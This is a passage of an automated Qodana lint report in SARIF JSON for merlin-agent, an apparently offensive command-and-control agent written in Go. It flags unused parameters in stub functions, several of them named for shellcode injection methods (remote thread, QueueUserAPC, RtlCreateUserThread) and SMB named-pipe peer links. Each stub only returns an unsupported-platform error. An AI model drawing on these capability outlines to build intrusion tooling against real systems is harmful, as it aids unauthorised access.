{\n              \"message\": {\n                \"text\": \"Reporting from [] 'sanity' inspections was suspended due to high problems count.\"\n              },\n              \"level\": \"error\",\n              \"timeUtc\": \"2023-12-26T19:19:49.800302211Z\",\n              \"properties\": {\n                \"qodanaKind\": \"sanityFailure\"\n              }\n            }\n          ],\n          \"executionSuccessful\": true\n        }\n      ],\n      \"language\": \"en-US\",\n      \"versionControlProvenance\": [\n        {\n          \"repositoryUri\": \"https://github.com/Ne0nd0g/merlin-agent\",\n          \"revisionId\": \"24e41131cf54002c9ca79c2295e783168d1aa6d9\",\n          \"branch\": \"dev\",\n          \"properties\": {\n            \"repoUrl\": \"https://github.com/Ne0nd0g/merlin-agent\",\n            \"lastAuthorName\": \"Russel Van Tuyl\",\n            \"vcsType\": \"Git\",\n            \"lastAuthorEmail\": \"russel.vantuyl@gmail.com\"\n          }\n        }\n      ],\n      \"results\": [\n        {\n          \"ruleId\": \"GoSwitchMissingCasesForIotaConsts\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Missing 'case' statements for 'iota' consts in 'switch'\",\n            \"markdown\": \"Missing 'case' statements for 'iota' consts in 'switch'\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"authenticators/opaque/opaque.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 65,\n                  \"startColumn\": 4,\n                  \"charOffset\": 2059,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"switch\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 63,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1998,\n                  \"charLength\": 193,\n                  \"snippet\": {\n                    \"text\": \"\\tif in.Type == messages.OPAQUE {\\n\\t\\tif in.Payload != nil {\\n\\t\\t\\tswitch in.Payload.(opaque.Opaque).Type {\\n\\t\\t\\tcase opaque.ReRegister:\\n\\t\\t\\t\\tcli.Message(cli.NOTE, \\\"Received OPAQUE re-register request\\\")\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"e0ef1999f8a6c866da44355dc0587471af3633c3bd3844073e816953deb5f535\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoSwitchMissingCasesForIotaConsts\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Missing 'case' statements for 'iota' consts in 'switch'\",\n            \"markdown\": \"Missing 'case' statements for 'iota' consts in 'switch'\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"authenticators/opaque/opaque.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 115,\n                  \"startColumn\": 2,\n                  \"charOffset\": 3898,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"switch\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 113,\n                  \"startColumn\": 1,\n                  \"charOffset\": 3851,\n                  \"charLength\": 173,\n                  \"snippet\": {\n                    \"text\": \"\\topaqueMessage := in.Payload.(opaque.Opaque)\\n\\n\\tswitch opaqueMessage.Type {\\n\\tcase opaque.RegInit:\\n\\t\\t// Server returned a RegInit message, start OPAQUE registration completion\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"eda916e873e5fec35e9eff01e3977f62a22c6b42bdf4eaba06a9576332d44a46\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedExportedFunction\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused function 'GetUser'\",\n            \"markdown\": \"Unused function `GetUser`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"os/os.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 63,\n                  \"startColumn\": 6,\n                  \"charOffset\": 1607,\n                  \"charLength\": 7,\n                  \"snippet\": {\n                    \"text\": \"GetUser\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 61,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1406,\n                  \"charLength\": 291,\n                  \"snippet\": {\n                    \"text\": \"// GetUser enumerates the username and their primary group for the account running the agent process\\n// It is OK if this function returns empty strings because we want the agent to run regardless\\nfunc GetUser() (username, group string, err error) {\\n\\tvar u *user.User\\n\\tu, err = user.Current()\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"9905ae86f61168f88a0c644df0ca0f644fec54c84863570d3a666d9ac5497cd5\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/hex/hex.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 59,\n                  \"startColumn\": 35,\n                  \"charOffset\": 1681,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 57,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1576,\n                  \"charLength\": 220,\n                  \"snippet\": {\n                    \"text\": \"\\n// Deconstruct takes in bytes and hex decodes it to its original type\\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\\n\\tretData := make([]byte, hex.DecodedLen(len(data)))\\n\\t_, err := hex.Decode(retData, data)\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"0b0fcc63c69210d42be3ac5fbf370415ea4b3ba136e8d4cffc27139c07b9864b\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'Config'\",\n            \"markdown\": \"Unused parameter `Config`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"clients/smb/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 74,\n                  \"startColumn\": 10,\n                  \"charOffset\": 3803,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"Config\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 72,\n                  \"startColumn\": 1,\n                  \"charOffset\": 3706,\n                  \"charLength\": 243,\n                  \"snippet\": {\n                    \"text\": \"\\n// New instantiates and returns a Client that is constructed from the passed in Config\\nfunc New(Config) (*Client, error) {\\n\\treturn nil, fmt.Errorf(\\\"clients/smb.New(): this function is not supported by the %s operating system\\\", runtime.GOOS)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"24e6adde2e557b432bd72456f7ea9118a1bc5792896319781a303ec25af7b3c5\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'shellcode []byte'\",\n            \"markdown\": \"Unused parameter `shellcode []byte`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 59,\n                  \"startColumn\": 29,\n                  \"charOffset\": 1795,\n                  \"charLength\": 16,\n                  \"snippet\": {\n                    \"text\": \"shellcode []byte\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 57,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1678,\n                  \"charLength\": 243,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"2a53d84de378680934b0385888a4849140fe8d7a56c171c0fc5315ba9511abb6\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'pipe string'\",\n            \"markdown\": \"Unused parameter `pipe string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 43,\n                  \"startColumn\": 16,\n                  \"charOffset\": 1330,\n                  \"charLength\": 11,\n                  \"snippet\": {\n                    \"text\": \"pipe string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 41,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1227,\n                  \"charLength\": 245,\n                  \"snippet\": {\n                    \"text\": \"\\n// ListenSMB binds to the provided named pipe and listens for incoming SMB connections\\nfunc ListenSMB(pipe string) error {\\n\\treturn fmt.Errorf(\\\"commands/smb.ListenSMB(): this function is not supported by the %s operating system\\\", runtime.GOOS)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"364de25845ff528309a7ba08971e798188a784bbd06bb5c4b6b4b4e40788b72d\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'uint32'\",\n            \"markdown\": \"Unused parameter `uint32`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 73,\n                  \"startColumn\": 43,\n                  \"charOffset\": 2584,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"uint32\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 71,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2453,\n                  \"charLength\": 235,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"43c5008d858aae704c53f6c904799cfe7e80b3af0a1d3288efcddbe6689c10cb\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'string'\",\n            \"markdown\": \"Unused parameter `string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 80,\n                  \"startColumn\": 52,\n                  \"charOffset\": 2991,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 78,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2851,\n                  \"charLength\": 307,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\\n\\treturn stdout, stderr, fmt.Errorf(\\\"CreateProcess modules in not implemented for this operating  system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"73f786ef936f16463c04877ba54bd3872fee1946814086f5d0482b41bf2ec145\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'string'\",\n            \"markdown\": \"Unused parameter `string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 80,\n                  \"startColumn\": 44,\n                  \"charOffset\": 2983,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 78,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2851,\n                  \"charLength\": 307,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\\n\\treturn stdout, stderr, fmt.Errorf(\\\"CreateProcess modules in not implemented for this operating  system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"8605ce8f6ff593f2571ac2d6e7bf7becfd87228ff20d0de8973bfbae9fb52c0e\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/base64/base64.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 44,\n                  \"startColumn\": 37,\n                  \"charOffset\": 1178,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 42,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1056,\n                  \"charLength\": 196,\n                  \"snippet\": {\n                    \"text\": \"\\n// Construct takes in data, Base64 encodes it, and returns the encoded data as bytes\\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\\n\\tswitch c.concrete {\\n\\tcase BYTE:\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"88f41349ceebd835dad62372eb4f3b1d3bc26fb4ed4c31d3dc4460498453e31c\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"clients/smb/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 108,\n                  \"startColumn\": 27,\n                  \"charOffset\": 5761,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 106,\n                  \"startColumn\": 1,\n                  \"charOffset\": 5658,\n                  \"charLength\": 253,\n                  \"snippet\": {\n                    \"text\": \"\\n// Set is a generic function that is used to modify a Client's field values\\nfunc (client *Client) Set(key string, value string) error {\\n\\treturn fmt.Errorf(\\\"clients/smb.Set(): the smb client is not supported for the %s operating system\\\", runtime.GOOS)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"8ebf5f0094973239c93d88bc3561dfe604cf823931d5dbdbe5295fc914f38c88\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'host'\",\n            \"markdown\": \"Unused parameter `host`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 37,\n                  \"startColumn\": 17,\n                  \"charOffset\": 1041,\n                  \"charLength\": 4,\n                  \"snippet\": {\n                    \"text\": \"host\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 35,\n                  \"startColumn\": 1,\n                  \"charOffset\": 929,\n                  \"charLength\": 295,\n                  \"snippet\": {\n                    \"text\": \"\\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\\n\\tresults.Stderr = fmt.Sprintf(\\\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\\\", runtime.GOOS)\\n\\treturn\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"972af06ca5ea2c19c9e18a7c397b1c8df9ed3db4e3a773c69c3a2ea3f9cf5c49\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'pid uint32'\",\n            \"markdown\": \"Unused parameter `pid uint32`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 66,\n                  \"startColumn\": 60,\n                  \"charOffset\": 2212,\n                  \"charLength\": 10,\n                  \"snippet\": {\n                    \"text\": \"pid uint32\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 64,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2064,\n                  \"charLength\": 256,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a08b10306c6e0b8b1902ff1786a2fb61d5df688bf51552671960cbbad25f0fba\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'jobs.Command'\",\n            \"markdown\": \"Unused parameter `jobs.Command`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/memory.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 31,\n                  \"startColumn\": 13,\n                  \"charOffset\": 911,\n                  \"charLength\": 12,\n                  \"snippet\": {\n                    \"text\": \"jobs.Command\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 29,\n                  \"startColumn\": 1,\n                  \"charOffset\": 814,\n                  \"charLength\": 231,\n                  \"snippet\": {\n                    \"text\": \"\\n// Memory is a handler for working with virtual memory on the host operating system\\nfunc Memory(jobs.Command) (results jobs.Results) {\\n\\tresults.Stderr = \\\"the Memory module is not supported by the agent's operating system!\\\"\\n\\treturn\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a23f3547249cfef618b532df72ccea5c58e9eabfc93ba640e19ac40a374fc0c6\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/gob/gob.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 50,\n                  \"startColumn\": 37,\n                  \"charOffset\": 1255,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 48,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1136,\n                  \"charLength\": 173,\n                  \"snippet\": {\n                    \"text\": \"\\n// Construct takes in data, Gob encodes it, and returns the encoded data as bytes\\nfunc (c *Coder) Construct(data any, key []byte) ([]byte, error) {\\n\\treturn c.Encode(data)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a44c5d167ecfddeeca673bc10b41c74aaee80b5819f934804ca510d6d5bf198d\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'pid uint32'\",\n            \"markdown\": \"Unused parameter `pid uint32`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 59,\n                  \"startColumn\": 47,\n                  \"charOffset\": 1813,\n                  \"charLength\": 10,\n                  \"snippet\": {\n                    \"text\": \"pid uint32\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 57,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1678,\n                  \"charLength\": 243,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a7eea47fd87535ad727c3bb95c084f9517cb623e18286866de944272b691ed4e\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'string'\",\n            \"markdown\": \"Unused parameter `string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 87,\n                  \"startColumn\": 15,\n                  \"charOffset\": 3352,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 85,\n                  \"startColumn\": 1,\n                  \"charOffset\": 3249,\n                  \"charLength\": 264,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be 